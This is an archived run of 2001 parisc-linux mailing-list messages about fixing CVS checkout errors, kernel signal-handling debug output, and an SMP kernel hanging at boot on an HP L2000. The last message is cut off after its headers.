> > Or  'cd /home/cvs/parisc; cvs update -APd linux'
> 
> ... with "-d:pserver:anonymous@puffin.external.hp.com:/home/cvs/parisc"
> in there too, or your current environment's $CVSROOT set accordingly.
> 
> The -q and -z3 flags are good too, to avoid unnecessary chatter and to
> compress the data stream a bit.  Avoid the temptation to crank up to -z9
> as this just puts the server on its back for minimal gain.
> 
So this shouldn't happen:

jurriaan@pa8200:/home/cvs/parisc$ tar zxf ~/source/linux-20010831.tar.gz
jurriaan@pa8200:/home/cvs/parisc$ echo $CVSROOT
:pserver:anonymous@puffin.external.hp.com:/home/cvs/parisc
jurriaan@pa8200:/home/cvs/parisc$ cvs update -APd linux
cvs update: move away linux/.cvsignore; it is in the way
C linux/.cvsignore
cvs update: move away linux/COPYING; it is in the way
C linux/COPYING
cvs update: move away linux/CREDITS; it is in the way
C linux/CREDITS
cvs [update aborted]: received interrupt signal
jurriaan@pa8200:/home/cvs/parisc$

Unfortunately, I see it both with linux-20010830.tar gz and with
linux-20010831.tar.gz

Jurriaan
-- 
GNU/Linux 2.4.9-ac7 SMP/ReiserFS 2x1402 bogomips load av: 0.00 0.00 0.00




From - Thu Nov 08 21:19:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs update gives 'move away ....' on every file
Date: Thu, 06 Sep 2001 00:08:10 -0600
Lines: 57
Approved: news@gmane.org
Message-ID: <200109060608.AAA09806@puffin.external.hp.com>
References: <20010906073538.A12771@middle.of.nowhere>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620464 25088 80.91.229.3 (22 Nov 2014 01:41:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: thunder7@xs4all.nl
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep  6 00:10:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6A7B9482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Sep 2001 00:10:57 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id AAA09806;
	Thu, 6 Sep 2001 00:08:11 -0600
In-Reply-To: Message from thunder7@xs4all.nl 
   of "Thu, 06 Sep 2001 07:35:38 +0200." <20010906073538.A12771@middle.of.nowhere> 
Xref: news.gmane.org gmane.linux.ports.parisc:12131

thunder7@xs4all.nl wrote:
> So this shouldn't happen:
> 
> jurriaan@pa8200:/home/cvs/parisc$ tar zxf ~/source/linux-20010831.tar.gz
> jurriaan@pa8200:/home/cvs/parisc$ echo $CVSROOT
> :pserver:anonymous@puffin.external.hp.com:/home/cvs/parisc
> jurriaan@pa8200:/home/cvs/parisc$ cvs update -APd linux
> cvs update: move away linux/.cvsignore; it is in the way
> C linux/.cvsignore

Sorry. It doesn't happen to me.

I get the following:
grundler <518>cvs update -APd linux
cvs update: in directory linux:
cvs update: ignoring CVS/Root because it specifies a non-existent repository /home/cvs/parisc
...
ad nauseum for every CVS/Root file in the tree.

One needs to:
1) echo $CVSROOT > ~/Root
2) find linux -name Root -exec cp ~/Root \{\} \;

(CVSROOT is the ":pserver:..." value posted several times earlier.)

I'm not sure who owns the script that make tarballs from cvs source trees.
But adding those two steps would take care of this for most people.


Now I get:
grundler <523>cvs update -APd linux
P linux/Makefile
P linux/arch/parisc/kernel/hardware.c
grundler <524>pwd
/home/grundler
grundler <525>cat ~/.cvsrc
cvs -z3 -q
diff -uNp
update -Pd
rm -f
grundler <526>head -4 linux/Makefile
VERSION = 2
PATCHLEVEL = 4
SUBLEVEL = 9
EXTRAVERSION = -pa15
grundler <527>echo $CVSROOT
:pserver:anonymous@puffin.external.hp.com:/home/cvs/parisc
grundler <528>


I already forgot I don't need to specify "-Pd" options
on the command line... :^)

grant




From - Thu Nov 08 21:19:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] harmony audio driver
Date: Thu, 6 Sep 2001 11:29:19 +0200
Organization: SAP LinuxLab
Lines: 7
Approved: news@gmane.org
Message-ID: <200109060929.LAA24200@sap-ag.de>
References: <3B96B360.33152CC7@fischlustig.de> <3B96D0A2.81EC8688@fischlustig.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620464 25090 80.91.229.3 (22 Nov 2014 01:41:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:04 +0000 (UTC)
To: Andi <andi@fischlustig.de>, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep  6 03:29:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5F5BB482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Sep 2001 03:29:30 -0600 (MDT)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id LAA15301;
  Thu, 6 Sep 2001 11:31:43 +0200 (MESZ)
X-Mailer: KMail [version 1.3]
In-Reply-To: <3B96D0A2.81EC8688@fischlustig.de>
X-SAP: out
Xref: news.gmane.org gmane.linux.ports.parisc:12132

> PS: to compile mpg123 you can type make linux-ppc, it works.

I think I fixed this last week in the debian-source (which should be upstream now),
so "make linux-hppa" should work too.




From - Thu Nov 08 21:19:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs update gives 'move away ....' on every file
Date: Thu, 6 Sep 2001 13:53:27 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20010906135327.C316@parcelfarce.linux.theplanet.co.uk>
References: <20010906073538.A12771@middle.of.nowhere> <200109060608.AAA09806@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620464 25093 80.91.229.3 (22 Nov 2014 01:41:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:04 +0000 (UTC)
Cc: thunder7@xs4all.nl, parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep  6 06:53:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 86816482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Sep 2001 06:53:33 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15eyet-0000qi-00; Thu, 06 Sep 2001 13:53:27 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200109060608.AAA09806@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Thu, Sep 06, 2001 at 12:08:10AM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12133

> One needs to:
> 1) echo $CVSROOT > ~/Root
> 2) find linux -name Root -exec cp ~/Root \{\} \;
> 
> (CVSROOT is the ":pserver:..." value posted several times earlier.)

easier is: for i in `find linux -name Root`; do echo $CVSROOT > $i; done

> I'm not sure who owns the script that make tarballs from cvs source trees.

Alex deVries...

> grundler <525>cat ~/.cvsrc
> cvs -z3 -q
> diff -uNp
> update -Pd
> rm -f

you're not using the most uptodate cvsrc... i fubar the last line, needs to be
`remove', not `rm'.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Trace/Breakpoint trap - results with #define DEBUG_SIG 1
Date: Thu, 6 Sep 2001 20:30:16 +0200
Lines: 71
Approved: news@gmane.org
Message-ID: <20010906203016.A19723@middle.of.nowhere>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620465 25096 80.91.229.3 (22 Nov 2014 01:41:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep  6 12:39:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp7.xs4all.nl (smtp7.xs4all.nl [194.109.127.133])
	by dsl2.external.hp.com (Postfix) with ESMTP id 145C6482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Sep 2001 12:39:08 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtp7.xs4all.nl (8.9.3/8.9.3) with ESMTP id UAA06639
	for <parisc-linux@lists.parisc-linux.org>; Thu, 6 Sep 2001 20:39:01 +0200 (CEST)
Original-Received: (qmail 5500 invoked from network); 6 Sep 2001 18:30:18 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 6 Sep 2001 18:30:18 -0000
Original-Received: (qmail 20408 invoked by uid 500); 6 Sep 2001 18:30:16 -0000
Content-Disposition: inline
User-Agent: Mutt/1.3.22.1i
Xref: news.gmane.org gmane.linux.ports.parisc:12134

After setting #define DEBUG_SIG to 1 in arch/parisc/kernel/signal.c, I
see the following messages in /var/log/messages just before the crash:

usp: 0xbff02488 stack bff022a0returning to 0x40106c5f
in sys_rt_sigreturn:
Sep  6 22:03:52 pa8200 kernel: do_signal(oldset=0x00000000, regs=0x2ef78258, sr7 0x21c, pending 1, in_syscall=1
Sep  6 22:03:52 pa8200 kernel: do_signal: oldsedo_signal(oldset=0x00000000, regs=0x2efd0258, sr7 0x229, pending 1, in_syscall=1
t 00000000:00000do_signal: oldset 00000000:00000000
000
Sep  6 22:0do_signal: signr=18, pid=159
3:52 pa8200 kernsa_handler is 40dae
el: do_signal: sERESTARTSYS: putting -EINTR
ignr=18, pid=160handle_signal(sig=18, ka=2efd41d4, info=2efd0508, oldset=2efd0444, regs=2efd0258)

Sep  6 22:03:5setup_rt_frame 1: frame bff02598 info 2efd0508
2 pa8200 kernel:setup_sigcontext: iaoq 0x40106c5f/0x40106c5f
 sa_handler is 9setup_sigcontext: r28 is -4
abda
Sep  6 22:flushing 64 bytes at space 0x229 offset bff02598
03:52 pa8200 kermaking sigreturn frame: 0xbff02598 + 0x280 = 0xbff02818
nel: handle_signSIG deliver (make:159): frame=0xbff02598 sp=0xbff02818 iaoq=0x185ff/0x18603 rp=0xbff02598
al(sig=18, ka=2edo_signal(oldset=0x00000000, regs=0x2efd0258, sr7 0x229, pending 1, in_syscall=0
do_signal: oldset 00020000:00000000
do_signal: signr=5, pid=159
sa_handler is 0
do_signal(oldset=0x00000000, regs=0x100bc258, sr7 0x1f5, pending 1, in_syscall=1
do_signal: oldset 00000000:00000000
do_signal: signr=18, pid=1
sa_handler is 280f6
ERESTARTNOHAND: returning -EINTR
handle_signal(sig=18, ka=2fefae14, info=100bc508, oldset=100bc444, regs=100bc258)
setup_rt_frame 1: frame faf00940 info 100bc508
setup_sigcontext: iaoq 0x4010e4b7/0x4010e4b7
setup_sigcontext: r28 is -4
flushing 64 bytes at space 0x1f5 offset faf00940
making sigreturn frame: 0xfaf00940 + 0x280 = 0xfaf00bc0
SIG deliver (init:1): frame=0xfaf00940 sp=0xfaf00bc0 iaoq=0x400b7f47/0x400b7f4b rp=0xfaf00940
in sys_rt_sigreturn, frame is faf00940
restore_sigcontext: r28 is -4
usp: 0xfaf00bc0 stack faf009d8returning to 0x4010e4b7
in sys_rt_sigreturn:
do_signal(oldset=0x00000000, regs=0x2f108258, sr7 0x212, pending 1, in_syscall=1
do_signal: oldset 00000000:00000000
do_signal: signr=18, pid=154
sa_handler is 9abda
handle_signal(sig=18, ka=2fefb694, info=2f108508, oldset=2f108444, regs=2f108258)
setup_rt_frame 1: frame bff00680 info 2f108508
setup_sigcontext: iaoq 0x401397b3/0x401397b3
setup_sigcontext: r28 is 0
flushing 64 bytes at space 0x212 offset bff00680
making sigreturn frame: 0xbff00680 + 0x280 = 0xbff00900
SIG deliver (bash:154): frame=0xbff00680 sp=0xbff00900 iaoq=0x4017cbfb/0x4017cbff rp=0xbff00680
in sys_rt_sigreturn, frame is bff00680
restore_sigcontext: r28 is 0
usp: 0xbff00900 stack bff00718returning to 0x401397b3
in sys_rt_sigreturn:

Is there anything obviously wrong? Would more output be needed?

Greetings,
Jurriaan
-- 
We carry in our hearts the true country
And that cannot be stolen
We follow in the steps of our ancestry
And that cannot be broken
   Midnight Oil - The dead heart.
GNU/Linux 2.4.9-ac7 SMP/ReiserFS 2x1402 bogomips load av: 6.86 4.43 2.05




From - Thu Nov 08 21:19:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Galen Arnold <arnoldg@ncsa.uiuc.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] smp kernel hangs during boot on L2000...
Date: Thu, 6 Sep 2001 14:02:20 -0500 (CDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0109061359230.530-100000@osage.ncsa.uiuc.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620465 25101 80.91.229.3 (22 Nov 2014 01:41:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:05 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep  6 13:02:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ex1.ncsa.uiuc.edu (ex1.ncsa.uiuc.edu [141.142.2.9])
	by dsl2.external.hp.com (Postfix) with ESMTP id 48009482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Sep 2001 13:02:22 -0600 (MDT)
Original-Received: from mx1.ncsa.uiuc.edu (mx1.ncsa.uiuc.edu [141.142.2.8])
	by ex1.ncsa.uiuc.edu (8.11.6/8.11.0) with ESMTP id f86J2KU22359
	for <parisc-linux@lists.parisc-linux.org>; Thu, 6 Sep 2001 14:02:20 -0500 (CDT)
X-Envelope-From: arnoldg@ncsa.uiuc.edu
X-Envelope-To: <parisc-linux@lists.parisc-linux.org>
Original-Received: from osage.ncsa.uiuc.edu (osage.ncsa.uiuc.edu [141.142.2.56])
	by mx1.ncsa.uiuc.edu (8.11.6/8.11.0) with ESMTP id f86J2KT28439
	for <parisc-linux@lists.parisc-linux.org>; Thu, 6 Sep 2001 14:02:20 -0500 (CDT)
Xref: news.gmane.org gmane.linux.ports.parisc:12135

I've built the latest kernel (downloaded this morning) and am trying to
boot it on an L2000 with smp supported (64 bit also).

The kernel hangs immediately and the last line printed is:

	branching to kernel entry point 0x00100000

Has anyone got an SMP kernel running on their L2000, and if so, could you
send me your .config and palo.conf for comparison?

-Galen Arnold

-- 
+
Galen Arnold, system engineer--systems group       arnoldg@ncsa.uiuc.edu
National Center for Supercomputing Applications           (217) 244-3473
152 Computer Applications Bldg., 605 E. Spfld. Ave., Champaign, IL 61820





From - Thu Nov 08 21:19:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] smp kernel hangs during boot on L2000...
Date: Thu, 6 Sep 2001 20:10:33 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20010906201033.H316@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.33.0109061359230.530-100000@osage.ncsa.uiuc.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620465 25104 80.91.229.3 (22 Nov 2014 01:41:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Galen Arnold <arnoldg@ncsa.uiuc.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep  6 13:10:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0B4E7482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Sep 2001 13:10:35 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15f4Xp-000882-00; Thu, 06 Sep 2001 20:10:33 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.33.0109061359230.530-100000@osage.ncsa.uiuc.edu>; from arnoldg@ncsa.uiuc.edu on Thu, Sep 06, 2001 at 02:02:20PM -0500
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12136

On Thu, Sep 06, 2001 at 02:02:20PM -0500, Galen Arnold wrote:
> 
> I've built the latest kernel (downloaded this morning) and am trying to
> boot it on an L2000 with smp supported (64 bit also).
> 
> The kernel hangs immediately and the last line printed is:
> 
> 	branching to kernel entry point 0x00100000

I suggest you edit arch/parisc/kernel/pdc_cons.c and turn #undef
EARLY_DEBUG into #define EARLY_DEBUG; this should let you see where the
crash occurs.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs update gives 'move away ....' on every file
Date: Thu, 6 Sep 2001 21:14:09 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <20010906211409.A26423@middle.of.nowhere>
References: <20010906073538.A12771@middle.of.nowhere> <200109060608.AAA09806@puffin.external.hp.com> <20010906135327.C316@parcelfarce.linux.theplanet.co.uk>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620466 25108 80.91.229.3 (22 Nov 2014 01:41:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep  6 13:14:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp1.xs4all.nl (smtp1.xs4all.nl [194.109.127.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 45506482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Sep 2001 13:14:44 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtp1.xs4all.nl (8.9.3/8.9.3) with ESMTP id VAA16008
	for <parisc-linux@lists.parisc-linux.org>; Thu, 6 Sep 2001 21:14:42 +0200 (CEST)
Original-Received: (qmail 12103 invoked from network); 6 Sep 2001 19:14:12 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 6 Sep 2001 19:14:12 -0000
Original-Received: (qmail 26785 invoked by uid 500); 6 Sep 2001 19:14:09 -0000
Content-Disposition: inline
In-Reply-To: <20010906135327.C316@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.22.1i
Xref: news.gmane.org gmane.linux.ports.parisc:12137

On Thu, Sep 06, 2001 at 01:53:27PM +0100, Matthew Wilcox wrote:
> > One needs to:
> > 1) echo $CVSROOT > ~/Root
> > 2) find linux -name Root -exec cp ~/Root \{\} \;
> > 
> > (CVSROOT is the ":pserver:..." value posted several times earlier.)
> 
> easier is: for i in `find linux -name Root`; do echo $CVSROOT > $i; done
> 
> you're not using the most uptodate cvsrc... i fubar the last line, needs to be
> `remove', not `rm'.
> 
Thanks everyone, now it works. Is there interest in a short (20 lines)
document describing the steps, starting with the download of
linux-latest.tar.gz - 'how to get cvs running without stress' ?

Thanks,
Jurriaan
-- 
Now I will kill you until you die from it.
	Hot Shots II
GNU/Linux 2.4.9-ac7 SMP/ReiserFS 2x1402 bogomips load av: 0.00 0.00 0.12




From - Thu Nov 08 21:19:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Galen Arnold <arnoldg@ncsa.uiuc.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] smp kernel hangs during boot on L2000...
Date: Thu, 6 Sep 2001 14:44:14 -0500 (CDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0109061441100.530-100000@osage.ncsa.uiuc.edu>
References: <20010906201033.H316@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620466 25111 80.91.229.3 (22 Nov 2014 01:41:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:06 +0000 (UTC)
Cc: Mike Pflugmacher <mikep@ncsa.uiuc.edu>,
	<parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep  6 13:44:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ex1.ncsa.uiuc.edu (ex1.ncsa.uiuc.edu [141.142.2.9])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2A381482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Sep 2001 13:44:17 -0600 (MDT)
Original-Received: from mx1.ncsa.uiuc.edu (mx1.ncsa.uiuc.edu [141.142.2.8])
	by ex1.ncsa.uiuc.edu (8.11.6/8.11.0) with ESMTP id f86JiFU25462;
	Thu, 6 Sep 2001 14:44:15 -0500 (CDT)
X-Envelope-From: arnoldg@ncsa.uiuc.edu
Original-Received: from osage.ncsa.uiuc.edu (osage.ncsa.uiuc.edu [141.142.2.56])
	by mx1.ncsa.uiuc.edu (8.11.6/8.11.0) with ESMTP id f86JiET11160;
	Thu, 6 Sep 2001 14:44:15 -0500 (CDT)
In-Reply-To: <20010906201033.H316@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12138

Matthew,

Thanks for the tip.  My L2000 box is hanging here with the smp 64bit
kernel I've built:

CPU(s): 2 x PA8600 (PCX-W+) at 540.000000 MHz
Kernel command line: root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102
Console: colour dummy device 160x64
Initialized PDC Console for debu
                                ^^^^^hangs right there...

-Galen

-- 
+
Galen Arnold, system engineer--systems group       arnoldg@ncsa.uiuc.edu
National Center for Supercomputing Applications           (217) 244-3473
152 Computer Applications Bldg., 605 E. Spfld. Ave., Champaign, IL 61820





From - Thu Nov 08 21:19:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs update gives 'move away ....' on every file
Date: Fri, 7 Sep 2001 15:07:11 +0800
Lines: 17
Approved: news@gmane.org
Message-ID: <20010907150709.B843@neep.com.au>
References: <20010906073538.A12771@middle.of.nowhere> <200109060608.AAA09806@puffin.external.hp.com> <20010906135327.C316@parcelfarce.linux.theplanet.co.uk> <20010906211409.A26423@middle.of.nowhere>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620466 25116 80.91.229.3 (22 Nov 2014 01:41:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep  7 01:07:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (symphony-05.iinet.net.au [203.59.3.37])
	by dsl2.external.hp.com (Postfix) with SMTP id 96164482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Sep 2001 01:07:27 -0600 (MDT)
Original-Received: (qmail 19423 invoked by uid 666); 7 Sep 2001 07:07:20 -0000
Original-Received: from unknown (HELO guinness.internal.neep.com.au) (203.59.192.95)
  by iinet.net.au with SMTP; 7 Sep 2001 07:07:20 -0000
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id PAA21128
	for parisc-linux@lists.parisc-linux.org; Fri, 7 Sep 2001 15:07:15 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010906211409.A26423@middle.of.nowhere>; from thunder7@xs4all.nl on Thu, Sep 06, 2001 at 09:14:09PM +0200
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:12139

Quoth thunder7@xs4all.nl:
> Thanks everyone, now it works. Is there interest in a short (20 lines)
> document describing the steps, starting with the download of
> linux-latest.tar.gz - 'how to get cvs running without stress' ?

Certainly wouldn't hurt, the website could suffer an update ...  =)

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:19:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.9-pa16: Trace/breakpoint trap on 'make mrproper' still occurs, but doesn't hang the machine
Date: Fri, 7 Sep 2001 09:30:36 +0200 (CEST)
Lines: 31
Approved: news@gmane.org
Message-ID: <29500.212.153.94.193.999847836.squirrel@webmail.xs4all.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620467 25120 80.91.229.3 (22 Nov 2014 01:41:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:07 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep  7 01:25:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp4.xs4all.nl (smtp4.xs4all.nl [194.109.6.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9F15F482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Sep 2001 01:25:57 -0600 (MDT)
Original-Received: from webmail4.xs4all.nl (webmail4.xs4all.nl [194.109.127.38])
	by smtp4.xs4all.nl (8.9.3/8.9.3) with ESMTP id JAA03339
	for <parisc-linux@lists.parisc-linux.org>; Fri, 7 Sep 2001 09:25:55 +0200 (CEST)
Original-Received: (from nobody@localhost)
	by webmail4.xs4all.nl (8.11.1/8.11.1) id f877UaD71237;
	Fri, 7 Sep 2001 09:30:36 +0200 (CEST)
	(envelope-from thunder7@xs4all.nl)
